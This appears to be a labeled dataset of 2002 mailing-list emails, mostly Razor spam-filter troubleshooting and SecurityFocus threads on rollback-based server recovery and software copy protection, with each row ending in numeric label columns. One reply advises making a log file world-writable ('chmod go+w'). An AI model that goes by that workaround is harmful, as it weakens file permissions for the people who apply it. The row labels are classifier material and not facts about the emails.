--CE+1k2dSO48ffgeK-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,razor-users@example.sourceforge.net,"Thu, 3 Oct 2002 01:58:41 -0700",Re: [Razor-users] Fire.cloudmark.com is having issues,"If you examine the log further, you'll see debug messages generated by the (content) reporting process that follows error 230. On Wed, Oct 02, 2002 at 10:20:49PM -0700, Jordan Ritter wrote: > Error 230 occurs when you report a signature, but the server doesn't > know about the signature, so it wants the full content. It's > basically an optimization. > > Beyond that, I'm not sure how to interpret that output.. what version? > Vipul? > > On Wed, Oct 02, 2002 at 11:59:01PM -0400, Rose, Bobby wrote: > # What does this mean? I set up procmailrc for a spamtrap but I'm getting > # an error. I also am reporting to pyzor and dcc and they aren't > # registering an error. What's weird is that it works sometimes. > # > # . > # Oct 02 23:46:11.470523 report[14051]: [ 4] honor.cloudmark.com >> 20 > # Oct 02 23:46:11.470805 report[14051]: [ 6] response to sent.3 > # -res=1 > # err=230 > # . > # Oct 02 23:46:11.471825 report[14051]: [ 5] mail 1, orig_email, special > # case eng 1: Server accept > # ed report. > # Oct 02 23:46:11.472228 report[14051]: [ 8] mail 1.0, eng 4: err 230 - > # server wants mail -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed yet."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Whit Blauvelt ,razor-users@example.sourceforge.net,"Thu, 3 Oct 2002 12:33:19 -0400","Re: [Razor-users] ""No razor servers available at this time""","I'm still seeing razor reporting bomb out with a small variety of messages. Would reinitializing something here help, or does razor do that as needed anyway, and this just reflects trouble at the servers? Also, since these are reports I'm making from within Mutt, it's annoying that the error messages garble the X window a bit. If there's nothing constructive to do about razor failing, can I at least turn off the failure messages? One way or the other I'd rather not see them. Whit On Wed, Sep 25, 2002 at 12:57:13PM -0400, Whit Blauvelt wrote: > I'm getting ""no servers available"" about half the time in the last few days. > This is with Razor 2. Is there something I need adjust in the installation > here, or are the servers just down/overloaded? > > Thanks, > Whit ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven Willenberger"" ",,"Thu, 3 Oct 2002 13:18:25 -0400",[Razor-users] problems with hubris and/or discovery,"trying to report spam [razor chooses hubris] I timeout on the connection (which seems to have gotten slower all morning) and receive the following error message: razor-report error: connect4: nextserver: discover1: Error reading socket connect4: nextserver: discover1: Error reading socket I then try to run razor-admin -discover and receive the same error ..... problems with the servers today? only one discovery server? Sven ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,razor-users@example.sourceforge.net,"Thu, 3 Oct 2002 10:38:13 -0700",Re: [Razor-users] problems with hubris and/or discovery,"--ey/N+yb7u/X9mFhi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Folks, There have been several major internet outages this morning, across major providers UUNet, Genuity, and god knows who else. Various routes across the Internet backbones have been disappearing, repropagating, and disappearing again. This has caused and exacerbated several problems which we are working on correcting right now. We apologize for the inconvenience.. Best,=20 --jordan On Thu, Oct 03, 2002 at 01:18:25PM -0400, Sven Willenberger wrote: # trying to report spam [razor chooses hubris] I timeout on the connection # (which seems to have gotten slower all morning) and receive the following # error message: #=20 # razor-report error: connect4: nextserver: discover1: Error reading socket # connect4: nextserver: discover1: Error reading socket #=20 # I then try to run razor-admin -discover and receive the same error ..... # problems with the servers today? only one discovery server? #=20 # Sven #=20 #=20 #=20 # ------------------------------------------------------- # This sf.net email is sponsored by:ThinkGeek # Welcome to geek heaven. # http://thinkgeek.com/sf # _______________________________________________ # Razor-users mailing list # Razor-users@lists.sourceforge.net # https://lists.sourceforge.net/lists/listinfo/razor-users --ey/N+yb7u/X9mFhi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE9nICFpwQdAVEbU7oRAiw+AJ966WR+zA0g47m0E7SkgCMbivfLkgCeOtGc V2cgz8USK1UPYH7YJwh1SyM= =dZej -----END PGP SIGNATURE----- --ey/N+yb7u/X9mFhi-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,razor-users@example.sourceforge.net,"Thu, 3 Oct 2002 11:43:08 -0700",[Razor-users] FW: [EVENT NOTIFICATION] UUnet North American,"--5vNYLRcllDrimb99 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable For everyone's benefit/edification, regardless of Razor usage. --jordan -----Original Message----- From: InterNAP Backbone Status Reports [mailto:noc@internap.com] Sent: Thursday, October 03, 2002 11:30 AM To: InterNAP Backbone Status Reports Subject: [EVENT NOTIFICATION] UUnet North American Backbone Problems 20021003@06:00 PDT [TIX106448] (fwd) Hello, I have just spoken with an UUnet technician at 11:23 PDT and he was unable to provide me with any new information regarding the outage. He did confirm that problems had spread beyond the east coast and are now seen nationwide through out their network. They are currently working with their hardware vendor to try and isolate the issue. A large number of Internap's connections to UUnet remain shutdown and traffic is being routed over alternate providers. The scale of this outage is causing a large number of peering points with UUnet and other providers to be flooded due to the large traffic shifts. If you have problems reaching specific sites please send an email to noc@internap.com containing a traceroute and source/destination IP addresses and we will investigate. If it is possible will will attempt to move specific prefixes onto an alternate provider leaving an Internap PNAP if that will provide better performance. Regards, Andrew -------------------------------------------------------------------- Andrew Dul Network Operations Center InterNAP Network Services E-Mail: noc@internap.com andrew@internap.com 206.256.9500 - 1.877.THE.INOC The contents of this email message are confidential and proprietary. ---------- Forwarded message ---------- Date: Thu, 3 Oct 2002 08:51:26 -0700 (PDT) From: Andrew Dul Subject: [EVENT NOTIFICATION] UUnet North American Backbone Problems [TIX106448] UUnet is currently experiencing a large number of problems in their North American backbone. Internap has been aware of these problems since approx 06:00 PST. Most of the problems appear to be concentrated on the East Coast but we have reports of problems from other geographic regions. This is being tracked under Internap ticket 106448 and UUnet master ticket 651751. UUnet currently does not have any ETA for a fix for this event. If you have issues reaching a specific site please send an email to noc@internap.com with a traceroute showing the path which has a problem. Internap has shutdown peerings to UUnet is various cities to help reduce the number of problems that customers will experience. Regards, Andrew -------------------------------------------------------------------- Andrew Dul Network Operations Center InterNAP Network Services E-Mail: noc@internap.com andrew@internap.com 206.256.9500 - 1.877.THE.INOC The contents of this email message are confidential and proprietary. --5vNYLRcllDrimb99 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE9nI+8pwQdAVEbU7oRAp25AJ9wlEUgdqUFi+7Hy/yYowIAid480gCfX49d M4Ox3gKrlqqmZ+hAy0wTFl0= =e6sV -----END PGP SIGNATURE----- --5vNYLRcllDrimb99-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Michael Duff"" ",razor-users@example.sourceforge.net,"Thu, 29 Aug 2002 12:17:27 -0700","[Razor-users] Re: Can't call method ""log"" with SA/Razor2","This is happening due to insufficient write access to the ""razor-agent.log"" file. I was getting the same error, but only as a non-root user. As a quick workaround, you can do ""chmod go+w razor-agent.log"". In Agent.pm, when then the Logger object is created, it doesn't check whether the logfile is writable by the current user. Then, when a write attempt is made, it bails out with the ""unblessed reference"" error. Hope that helps, Michael > I just noticed the following log entries in my syslog with the latest > Spamassassin CVS (set up using spamc/spamd) and razor-agents 2.14: > > Jul 26 17:30:09 timmy spamd[54928]: razor2 check skipped: No such file or > directory Can't call method ""log"" on unblessed reference at > /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Agent.pm line 211, > line 25. > > I saw this after checking if my upgrade from razor-agents 2.12 to 2.14 went > okay, but the problem is still there after downgrading back to 2.12. I > don't really know when this started happening, :-/ > > Any ideas on the problem? > > - Robert ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """cmeclax po'u le cmevi'u ke'umri"" ",,"Thu, 29 Aug 2002 19:33:44 -0400",Re: [Razor-users] Collision of hashes?,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 de'i Thursday 29 August 2002 13:36 la Fox cusku di'e > The following was personal correspondence between two people. I can't > > fathom how Razor thinks it is spam: Was it sent in HTML? If so, and it had a background, the background may have been sent in a spam. cmeclax -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9bq9f3/k1hdmG9jMRAk4XAJ9CheEA+/hLIU9zTzfJbPyoPUm+XwCfXgZ1 tg7Fn8JcG9Q13UlKVfaOJzk= =Mw8+ -----END PGP SIGNATURE----- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,razor-users@example.sourceforge.net,"Thu, 29 Aug 2002 16:36:53 -0700",Re: [Razor-users] Collision of hashes?,"On Thu, Aug 29, 2002 at 07:33:44PM -0400, cmeclax po'u le cmevi'u ke'umri wrote: > > Was it sent in HTML? If so, and it had a background, the background may have > been sent in a spam. razor-agents 2.14 needs all parts to be spam to make a positive decision (though this will change with the next release), so it couldn't have been a background. Could you send me the debug log? cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Samuel Checker ,,"Wed, 9 Oct 2002 09:15:03 -0400 (EDT)",[Razor-users] Razor and Pine,"I've been testing Razor, invoked from sendmail/procmail and so far it seems pretty copacetic. Last night's spam to the list provided a good test - the spam itself as well as several of the responses were flagged, as other list members reported. This morning I piped the messages out from pine, being careful to use the RAW mode, to razor-check -d. None of the messages come back as spam, even the spam. Since folks revoked the false positives, I understand why they would not come up, but not the spam itself, unless that also was revoked. Is this spam just a bad one to test against, or is there some setting in pine or razor that I am missing? -- sc ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Brian Fahrlander ,razor-users@example.sourceforge.net,"Wed, 9 Oct 2002 10:11:27 -0500",Re: [Razor-users] Razor and Pine,"On Wed, 9 Oct 2002 09:15:03 -0400 (EDT), Samuel Checker wrote: > I've been testing Razor, invoked from sendmail/procmail and so far it > seems pretty copacetic. Last night's spam to the list provided a good test > - the spam itself as well as several of the responses were flagged, as > other list members reported. > > This morning I piped the messages out from pine, being careful to use the > RAW mode, to razor-check -d. None of the messages come back as spam, even > the spam. Since folks revoked the false positives, I understand why they > would not come up, but not the spam itself, unless that also was revoked. > > Is this spam just a bad one to test against, or is there some setting in > pine or razor that I am missing? Are you using Spamassassin on the input side? I've just changed my sendmail installation and am looking for the 'proper' way to pass it through there, systemwide, before accepting it and sending it to the users. It's kinda problematic to set up procmail scripts for every user, when the user's home directories are NFS mounted....and the source is on my own machine, on which I try new things. (And it's the only machine with the drivespace...) ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ angegangen, Schlange-Hften, sein es ganz rber jetzt. Bgel innen fest, weil es eine lange, ssse Fahrt ist. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Samuel Checker ,Brian Fahrlander ,"Wed, 9 Oct 2002 11:27:39 -0400 (EDT)",Re: [Razor-users] Razor and Pine,"On Wed, 9 Oct 2002, Brian Fahrlander wrote: > On Wed, 9 Oct 2002 09:15:03 -0400 (EDT), Samuel Checker wrote: > > > I've been testing Razor, invoked from sendmail/procmail and so far it > > seems pretty copacetic. Last night's spam to the list provided a good test > > - the spam itself as well as several of the responses were flagged, as > > other list members reported. > > > > Are you using Spamassassin on the input side? I've just changed my sendmail installation and am looking for the 'proper' way to pass it through there, systemwide, before accepting it and sending it to the users. It's kinda problematic to set up procmail scripts for every user, when the user's home directories are NFS mounted....and the source is on my own machine, on which I try new things. (And it's the only machine with the drivespace...) > I've not used Spamassassin on the KISS principle. I just have procmail adding an X-header and optionally modifying the Subject if razor-check comes back positive. -- sc ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Wed, 9 Oct 2002 23:37:05 -0400",[Razor-users] razor vs cloudmark - merging?,"I am somewhat puzzled by a phone call I (or rather the CIO at the ISP for whom I work) received from an individual claiming to represent Cloudmark. The gist of the call was that since we were using razor and checking our mail against the razor servers and that since those servers contain information proprietary to Cloudmark, we would [in the near future?] be required to begin paying Cloudmark/spamnet $1.00/user per year. I was wondering if anyone else has received such a call? I am curious as to whether a spammer has begun to try contacting razor users with the above tactic in an effort to get them to stop using razor or whether the open source/community aspect of the razor project is going by the wayside in lieu of a strictly commercial approach (ala brightmail and the likes). Sven ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 bmord@icon-nicholson.com (Ben Mord),"""Webappsec Securityfocus.Com"" ,","Tue, 3 Sep 2002 15:04:27 -0400",use of base image / delta image for automated recovery from attacks,"Hi, I was inspired by a mode of operation supported by VMWare. You can have a base disk image shared by multiple virtual machine (vm) instances. That base image is never altered by a vm instance. Instead, each vm instance writes changes to its own ""redo"" log. Future hard disk reads from that vm instance incorporate both the base image and the appropriate redo log to present the current disk image for that specific virtual machine. This is described here (thanks to Duane for providing this link on the honeypots mailing list) http://www.vmware.com/support/reference/common/disk_sharing.html Could this basic concept be used to easily make self-fixing client/server applications that efficiently and automatically recover from most attacks, even before those attacks have been discovered? Here is what I imagine. The physical architectures of most production client/server systems are layered. For example, your basic web application might have a web server running Apache, connected to an application server running some J2EE or .Net business logic, connected to a database server for persistence. The only one of these whose disk image really should evolve over time is the database server, and even here you often put the static RDBMS software on one partition and the changeable datafiles on another partition. It is only the partition with the volatile datafiles that must be allowed to change from one boot to the next. Other paritions may need to be writable for, say, swap space, but these changes could be eliminated on each reboot. When someone cracks this system, they will probably change an image that shouldn't be changed. E.g., they might leverage a buffer overflow in IIS or Apache to install a trojan or a backdoor on the more exposed web server. But what if the web server ran off a base image, writing changes to a ""delta"" or ""redo"" partition? And then what if every night it automatically erased the redo partition and rebooted? The downtime involved for each machine would be minimal, because it is only deleting data - rather than restoring from backup. In a system with redundant web servers for load balancing or high availability, this could be scheduled in a way such that the system is always accessible. This base/redo partition concept could be implemented at the same level as a feature of hardware RAID, allowing for greater performance, reliability, and hack resistance. This concept could also be applied to the application servers, and even the database server partitions (except for those partitions which contain the table data files, of course.) Does anyone do this already? Or is this a new concept? Or has this concept been discussed before and abandoned for some reasons that I don't yet know? I use the physical architecture of a basic web application as an example in this post, but this concept could of course be applied to most server systems. It would allow for the hardware-separation of volatile and non-volatile disk images. It would be analogous to performing nightly ghosting operations, only it would be more efficient and involve less (or no) downtime. Thanks for any opinions, Ben",0,1 strange@nsk.yi.org,secprog@securityfocus.com,"Wed, 4 Sep 2002 18:36:05 +0100",Re: Secure Sofware Key,"On Tue, Sep 03, 2002 at 09:03:40PM -0400, Yannick Gingras wrote: > This make me wonder about the relative protection of smart cards. They have > an internal procession unit around 4MHz. Can we consider them as trusted > hardware ? The ability to ship smart cards periodicaly uppon cashing of a > monthly subscription fee would not raise too much the cost of ""renting"" the > system. Smart card do their own self encryption. Can they be used to > decrypt data needed by the system ? The input of the system could me mangled > and the would keep a reference of how long it was in service. > > This sounds really feasible but I may be totaly wrong. I may also be wrong > about the safety of a smart card. > > What do you think ? That's similar to using hard-locks (either the old parallel, or the new usb). The problem is that that piece of hardware is trustworthy, but the rest of the PC isn't, so a cracker just needs to simulate the lock/smart card, or peek at the executable after the lock has been deactivated. Regards, Luciano Rocha -- Consciousness: that annoying time between naps.",0,0 """Everhart, Glenn (FUSA)"" ","""'bmord@icon-nicholson.com'"" ,","Wed, 4 Sep 2002 15:11:55 -0400",RE: use of base image / delta image for automated recovery from a,"I did something crudely along those lines for VMS VAX maybe 13 years ago; there is at least one product that does it for PC though I don't recall its name. It is also handy for cases where you have a CD image of some filesystem (or some other image of a filesystem) that is intrinsically readonly but whose filesystem will not accept (or is not graceful) readonly storage. It is also more or less necessary if you want to work with WORM file structures, which are older still. There have been a number of filesystems for those dating back to the early 1980s if not before. A generic facility of the type you mention is also one way to implement snapshots on top of an existing filesystem. The written information must (obviously!) be seekable so you can provide the illusion that you wrote to the storage. A device level implementation is however perfectly adequate. It does not, of course, distinguish for you what should have been changed and what should not. If you truly know a device (or perhaps a partition) must not be written, it can be simpler to either return error on writes, or to just return a fake success on writes yet discard the data. (NTFS lives with the latter strategy just fine from my experiments. I have not tried it on extf3 or reiser.) BTW, think about your mention of RAID and consider the complexity of writing to RAID4 or RAID5... I would contend that with cheaper storage these days, it makes little sense to use RAID, save for shadowing and possibly striping. Those at least do not have the complexity and slowup dangers that higher RAID levels have, and there is not a need to save the cost of disk so much where a single disk may hold 200 gigs and up. Why not dedicate another whole disk to fault recovery and lose the complexity and slow write (sometimes) of RAID? Glenn Everhart -----Original Message----- From: bmord@icon-nicholson.com [mailto:bmord@icon-nicholson.com] Sent: Tuesday, September 03, 2002 3:04 PM To: Webappsec Securityfocus.Com; SECPROG Securityfocus Subject: use of base image / delta image for automated recovery from attacks Hi, I was inspired by a mode of operation supported by VMWare. You can have a base disk image shared by multiple virtual machine (vm) instances. That base image is never altered by a vm instance. Instead, each vm instance writes changes to its own ""redo"" log. Future hard disk reads from that vm instance incorporate both the base image and the appropriate redo log to present the current disk image for that specific virtual machine. This is described here (thanks to Duane for providing this link on the honeypots mailing list) http://www.vmware.com/support/reference/common/disk_sharing.html Could this basic concept be used to easily make self-fixing client/server applications that efficiently and automatically recover from most attacks, even before those attacks have been discovered? Here is what I imagine. The physical architectures of most production client/server systems are layered. For example, your basic web application might have a web server running Apache, connected to an application server running some J2EE or .Net business logic, connected to a database server for persistence. The only one of these whose disk image really should evolve over time is the database server, and even here you often put the static RDBMS software on one partition and the changeable datafiles on another partition. It is only the partition with the volatile datafiles that must be allowed to change from one boot to the next. Other paritions may need to be writable for, say, swap space, but these changes could be eliminated on each reboot. When someone cracks this system, they will probably change an image that shouldn't be changed. E.g., they might leverage a buffer overflow in IIS or Apache to install a trojan or a backdoor on the more exposed web server. But what if the web server ran off a base image, writing changes to a ""delta"" or ""redo"" partition? And then what if every night it automatically erased the redo partition and rebooted? The downtime involved for each machine would be minimal, because it is only deleting data - rather than restoring from backup. In a system with redundant web servers for load balancing or high availability, this could be scheduled in a way such that the system is always accessible. This base/redo partition concept could be implemented at the same level as a feature of hardware RAID, allowing for greater performance, reliability, and hack resistance. This concept could also be applied to the application servers, and even the database server partitions (except for those partitions which contain the table data files, of course.) Does anyone do this already? Or is this a new concept? Or has this concept been discussed before and abandoned for some reasons that I don't yet know? I use the physical architecture of a basic web application as an example in this post, but this concept could of course be applied to most server systems. It would allow for the hardware-separation of volatile and non-volatile disk images. It would be analogous to performing nightly ghosting operations, only it would be more efficient and involve less (or no) downtime. Thanks for any opinions, Ben ********************************************************************** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you **********************************************************************",0,1 Crispin Cowan ,scottm@crystal.ncc.cc.nm.us,"Thu, 05 Sep 2002 11:42:15 -0700",Re: FW: use of base image / delta image for automated recovery,"Scott MacKenzie wrote: >There is a software package that is used (or was up through w2k) >on MicroSloth for this purpose. Ghost, or some such. One essentially >""takes a picture"" of the machine's proper config, and then upon >schedule or demand replaces the machine's current config with the >proper picture. It essentially over-writes the entire disk drive. >Especially good for student access machines at libraries, etc. > And it is pretty common practice in some environments with public workstations to just wipe and re-install Windows machines on a weekly (or even daily) basis. It's easier than trying to maintain Windows. Crispin -- Crispin Cowan, Ph.D. Chief Scientist, WireX http://wirex.com/~crispin/ Security Hardened Linux Distribution: http://immunix.org Available for purchase: http://wirex.com/Products/Immunix/purchase.html",0,1 Jef Feltman ,secprog@securityfocus.com,"Wed, 04 Sep 2002 15:10:47 -0700",RE: Secure Sofware Key,"the only way to insure a safe key is to use all the storage space in the universe. too big to decrypt. my point is there will never be a ""safe"" key. what I would consider is how long does the data need to be protected. if you need to protect the data for longer than 6 months, do not release it to the public. if you are trying to stop the general public (your customer) from coping the data then use what is available on the market. If you want to stop the bootleggers do not release the data to the public. I have never seen a lock that could not be unlocked. the act of unlocking the key gives away it's secret. the tougher the lock the more pissed-off your customers will be. take MS-XP for example. only the home user is forced to register. think of the nightmare if business had to register every copy. how many times have we needed to reinstall our laptop OS? notice the amount of Mac's sold after the XP release. these where mostly home users that converted to Mac OS. the new Audio CD's that have digital copy protection so not play on my computer. does this stop me from copying the CD? no. however it does make me return them and get my money back. the more popular the software the more likely it is to be cracked. jef",0,0 Brian Hatch ,Crispin Cowan ,"Thu, 5 Sep 2002 11:33:21 -0700",Re: use of base image / delta image for automated recovery from,"--2+N3zU4ZlskbnZaJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable > Simple approxmation to this: make /usr a separate partion, and mount it= =20 > read-only: >=20 > * The good news: attackers that want to trojan your software have to > reboot, at least. > * The bad news: administrators that want to update your software > have to reboot, at least. No reboot is required, you just need to remount it: # mount -o remount,rw /usr This requires root access, but presumably /usr is safe from non-root users anyway. Only way to disable this is to have the kernel compiled with something that compartmentalizes capabilities (LIDS/etc on Linux for example) or to remove CAP_SYS_ADMIN with lcap, which would definately require a reboot, and possibly break some other functionatily to boot. (Pun intended. My apologies.) -- Brian Hatch ""Are you expected?"" Systems and ""No. Dreaded."" Security Engineer www.hackinglinuxexposed.com Every message PGP signed --2+N3zU4ZlskbnZaJ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj13o3EACgkQp6D9AhxzHxDMkACfR3m+eBXLfiZUFRd+jlBwu4MH Z/kAnRVbL3IA/m03PVTM6O4h9R4AKqML =k5cA -----END PGP SIGNATURE----- --2+N3zU4ZlskbnZaJ--",0,1 Scott MacKenzie ,Ben Mord ,"Thu, 05 Sep 2002 11:26:13 -0600",Re: FW: use of base image / delta image for automated recovery,"There is a software package that is used (or was up through w2k) on MicroSloth for this purpose. Ghost, or some such. One essentially ""takes a picture"" of the machine's proper config, and then upon schedule or demand replaces the machine's current config with the proper picture. It essentially over-writes the entire disk drive. Especially good for student access machines at libraries, etc. Ben Mord wrote: > > -----Original Message----- > From: Crispin Cowan [mailto:crispin@wirex.com] > Sent: Wednesday, September 04, 2002 5:46 PM > To: Ben Mord > Cc: Webappsec Securityfocus.Com; SECPROG Securityfocus > Subject: Re: use of base image / delta image for automated recovery from > attacks > > > I did my dissertation work in this area (Optimistic Computing) and so was > >interested in applying it to the security problem. Unfortunately, you hit a > >bunch of problems: > > > a.. When can you ""commit"" a state as being ""good""? You can't run from > a > >redo log forever; the performance and storage penalties accumulate. Even > log > >structured file systems garbage collect eventually. So you have to commit > >sometime. The problem is that if you commit too eagerly, you might commit > >corrupted state. If you commit too conservatively, you eat performance and > >storage penalties. > > b.. What do you do if you discover that there is corrupted state in the > >*middle* of your redo log, and you want some of the critical state that > >comes after it? You need some way to dig the corruption out of the middle > >and save the rest. My dissertation solves this problem, but you have to > >re-write everything in my programming language :) > . c.. Just doing this at all imposes substantial performance penalties. I > >love VMWare, and use it every day (the best $200 I ever spent on software) > >.but it is not very fast. > > My proposed solution to the first two problems you mention is to be less > ambitious. The idea is that you *never* commit - instead, you simply revert > to base state on reboot. Obviously, you can't do this with partitions that > accrue important state, e.g. a partition that stores database table data. > But in your typical web application, most partitions do not accrue important > state. For example, your typical web server or application server could have > their entire state reset back to a known base state during each reboot > without harm. > The advantage of being less ambitious is that we have a quick and easy way > to frustrate certain attacks without rewriting all of our software or > spending lots of money on additional application-specific coding. > > The first two problems you describe only occur if we become more ambitious > and try to apply these same techniques to, for example, the database table > partitions, where state changes remain important across reboots. That would > certainly be a nice touch! But as you point out, many problems would have to > be addressed first, and the hardest of these can not be abstracted away from > the particular application. Not the least of these is the problem of writing > heuristics for delineating good from malevolent state. That task is roughly > analogous to what antiviral software authors do for a living, only this work > could not be shared across many different systems as it would be specific to > a paritcular application. > > The third problem you mention - performance penalty - is an argument for > doing this in hardware, much like hardware raid. Another argument for doing > this in hardware is hack resistance. Changing the base instance should > require physical access to the console, e.g. by requiring that you first > flip a physical switch on your RAID hardware or modify a bios setting. If > the base image can be modified remotely or by software, then you have to > worry about whether an implementation flaw might permit a cracker to modify > the base image remotely. > > Ben -- ( ______ )) .-- Scott MacKenzie; Dine' College ISD --. >===<--. C|~~| (>--- Phone/Voice Mail: 928-724-6639 ---<) | ; o |-' | | \--- Senior DBA/CARS Coordinator/Etc. --/ | _ | `--' `- Email: scottm@crystal.ncc.cc.nm.us -' `-----'",0,0 Yannick Gingras ,secprog@securityfocus.com,"Thu, 5 Sep 2002 06:39:04 -0400",Re: Secure Sofware Key,"> However, cracking and reverse engineering tools are not so ubiquitous on > UNIX as they are on Windows platform for two main reasons: > > 1. The main customers of commercial Unices (Solaris, HP-UX, Aix, SCO...) > are respectable companies. They are ready to pay big bucks for software > they need: the reputation matters. > > 2. Most software for free and open source Unices like Linux and xBSD (this > software often may be used on commercial unices as well) is, well, free and > open source. Thanks to your answers, I start to see where I should head for. What are your sugestions for protecting a 100% online requirement system ? -- Yannick Gingras Coder for OBB : Observing Bantu-speaking Butanone http://OpenBeatBox.org",0,1 Crispin Cowan ,Ben Mord ,"Wed, 04 Sep 2002 16:30:03 -0700",Re: use of base image / delta image for automated recovery from,"Ben Mord wrote: > -----Original Message----- > *From:* Crispin Cowan [mailto:crispin@wirex.com] > *Sent:* Wednesday, September 04, 2002 5:46 PM > *To:* Ben Mord > *Cc:* Webappsec Securityfocus.Com; SECPROG Securityfocus > *Subject:* Re: use of base image / delta image for automated > recovery from attacks > > Ben Mord wrote: > >>I was inspired by a mode of operation supported by VMWare. [use VMWare's ability to rolll back state to recover from intrusions] >> > I did my dissertation work in this area (Optimistic Computing > ) and so was > interested in applying it to the security problem. Unfortunately, > you hit a bunch of problems: > > * When can you ""commit"" a state as being ""good""? You can't > run from a redo log forever; the performance and storage > penalties accumulate. Even log structured file systems > garbage collect eventually. So you have to commit sometime. > The problem is that if you commit too eagerly, you might > commit corrupted state. If you commit too conservatively, > you eat performance and storage penalties. > * What do you do if you discover that there is corrupted state > in the *middle* of your redo log, and you want some of the > critical state that comes after it? You need some way to dig > the corruption out of the middle and save the rest. My > dissertation solves this problem, but you have to re-write > everything in my programming language :) > * Just doing this at all imposes substantial performance > penalties. I love VMWare, and use it every day (the best > $200 I ever spent on software) but it is not very fast. > > My proposed solution to the first two problems you mention is to be > less ambitious. The idea is that you *never* commit - instead, you > simply revert to base state on reboot. Ah. In that case, you can use something considerably less powerful than VMWare. All you need is a machine configured to boot from CD-ROM and use a RAM disk for scratch space. Numerous Linux distros are available that let you boot a stateless but functional system from CD-ROM. > Obviously, you can't do this with partitions that accrue important > state, e.g. a partition that stores database table data. ... but if you *do* want some state to persist, then you need a mountable writable partition. To protect it, you need some kind of access control management to decide who can do what to the writable partition, blah blah blah ... and before you know it, the security problem starts to look just like it does for conventional servers. Simple approxmation to this: make /usr a separate partion, and mount it read-only: * The good news: attackers that want to trojan your software have to reboot, at least. * The bad news: administrators that want to update your software have to reboot, at least. Crispin -- Crispin Cowan, Ph.D. Chief Scientist, WireX http://wirex.com/~crispin/ Security Hardened Linux Distribution: http://immunix.org Available for purchase: http://wirex.com/Products/Immunix/purchase.html",0,1 bmord@icon-nicholson.com (Ben Mord),"""Crispin Cowan"" 